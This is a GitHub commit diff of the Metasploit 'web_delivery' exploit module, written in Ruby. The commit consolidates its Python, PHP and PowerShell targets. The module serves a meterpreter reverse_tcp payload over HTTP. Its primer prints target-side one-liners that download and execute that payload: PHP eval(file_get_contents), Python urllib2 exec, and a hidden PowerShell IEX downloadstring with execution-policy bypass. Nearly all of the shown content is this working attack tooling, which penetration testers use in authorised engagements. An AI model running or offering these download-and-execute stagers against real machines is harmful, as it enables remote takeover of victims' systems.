Skip to content

Commit 54ccc26

Browse files
committed
Updates
Updated spacing, ranking, php command, platform, and merged *nix and windows cmds
1 parent 3abfa3e commit 54ccc26

File tree

1 file changed

+18
-31
lines changed

1 file changed

+18
-31
lines changed

modules/exploits/multi/script/web_delivery.rb

Lines changed: 18 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66
require 'msf/core'
77

88
class Metasploit3 < Msf::Exploit::Remote
9-
Rank = NormalRanking
9+
Rank = ManualRanking
1010

1111
include Msf::Exploit::Remote::HttpServer
1212

@@ -30,32 +30,24 @@ def initialize(info = {})
3030
'Chris Campbell' #@obscuresec - Inspiration n.b. no relation!
3131
],
3232
'DefaultOptions' =>
33-
{
34-
'Payload' => 'python/meterpreter/reverse_tcp'
35-
},
33+
{
34+
'Payload' => 'python/meterpreter/reverse_tcp'
35+
},
3636
'References' =>
3737
[
3838
[ 'URL', 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
3939
[ 'URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ],
4040
[ 'URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
4141
[ 'URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
4242
],
43-
'Platform' => %w{ py php win},
43+
'Platform' => %w{ python php win},
4444
'Targets' =>
4545
[
46-
['Python_win', {
46+
['Python', {
4747
'Platform' => 'py',
4848
'Arch' => ARCH_PYTHON
4949
}],
50-
['Python_linux', {
51-
'Platform' => 'py',
52-
'Arch' => ARCH_PYTHON
53-
}],
54-
['PHP_win', {
55-
'Platform' => 'php',
56-
'Arch' => ARCH_PHP
57-
}],
58-
['PHP_linux', {
50+
['PHP', {
5951
'Platform' => 'php',
6052
'Arch' => ARCH_PHP
6153
}],
@@ -69,16 +61,16 @@ def initialize(info = {})
6961
}],
7062
],
7163
'DefaultTarget' => 0,
72-
'DisclosureDate' => 'N/A'
64+
'DisclosureDate' => 'Jul 19 2013'
7365
))
7466
end
7567

7668
def on_request_uri(cli, request)
7769
print_status("Delivering Payload")
7870
if (target.name.include? "PSH")
79-
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
71+
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
8072
else
81-
data = %Q|#{payload.encoded} |
73+
data = %Q|#{payload.encoded} |
8274
end
8375
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
8476
end
@@ -87,18 +79,13 @@ def primer
8779
url = get_uri()
8880
print_status("Run the following command on the target machine:")
8981
case target.name
90-
when "PHP_linux"
91-
print_line("php -r \"eval(file_get_contents('#{url}'));\"")
92-
when "PHP_win"
93-
print_line("php.exe -r \"eval(file_get_contents('#{url}'));\"")
94-
when "Python_linux"
95-
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
96-
when "Python_win"
97-
print_line("python.exe -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
98-
when "PSH"
99-
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
100-
print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"")
82+
when "PHP"
83+
print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"")
84+
when "Python"
85+
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
86+
when "PSH_x86", "PSH_x64"
87+
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
88+
print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"")
10189
end
10290
end
103-
end
104-
91+
end

0 commit comments

Comments
 (0)